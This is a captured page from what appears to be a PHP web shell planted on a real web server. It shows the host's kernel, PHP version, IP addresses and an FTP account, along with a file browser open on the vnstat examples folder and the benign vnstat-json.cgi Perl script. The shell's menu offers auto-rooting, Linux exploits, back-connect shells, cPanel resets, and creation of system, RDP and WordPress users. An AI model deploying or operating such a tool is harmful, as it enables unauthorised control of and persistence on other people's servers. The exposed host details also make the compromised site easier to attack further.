Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.213
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
vnstat /
examples /
[ HOME SHELL ]
Name
Size
Permission
Action
vnstat-json.cgi
1.26
KB
-rwxr-xr-x
vnstat-json.php
914
B
-rw-r--r--
vnstat.cgi
10.8
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : vnstat-json.cgi
#!/usr/bin/perl -w # vnstat-json.cgi -- example cgi for vnStat json output # copyright (c) 2015-2021 Teemu Toivola <tst at iki dot fi> # released under the GNU General Public License use strict; # location of vnstat binary my $vnstat_cmd = '/usr/bin/vnstat'; # individually accessible interfaces with ?interface=N or /interfacename suffix # for static list, uncomment first line below, update the list and comment out second line #my @interfaces = ('eth0', 'eth1'); my @interfaces = `$vnstat_cmd --dbiflist 1`; ################ my $iface = ""; chomp @interfaces; if (defined $ENV{PATH_INFO}) { my @fields = split(/\//, $ENV{PATH_INFO}); my $interface = $fields[-1]; for my $i (0..$#interfaces) { if ($interfaces[${i}] eq $interface) { $iface = "-i $interface"; last; } } } if (length($iface) == 0 and defined $ENV{QUERY_STRING}) { my $getiface = ""; my @values = split(/&/, $ENV{QUERY_STRING}); foreach my $i (@values) { my ($varname, $varvalue) = split(/=/, $i); if ($varname eq 'interface' && $varvalue =~ /^(\d+)$/) { $getiface = $varvalue; } } if (length($getiface) > 0 && $getiface >= 0 && $getiface <= $#interfaces) { $iface = "-i @interfaces[int($getiface)]"; } } print "Content-Type: application/json\n\n"; exec("$vnstat_cmd --json $iface");
Close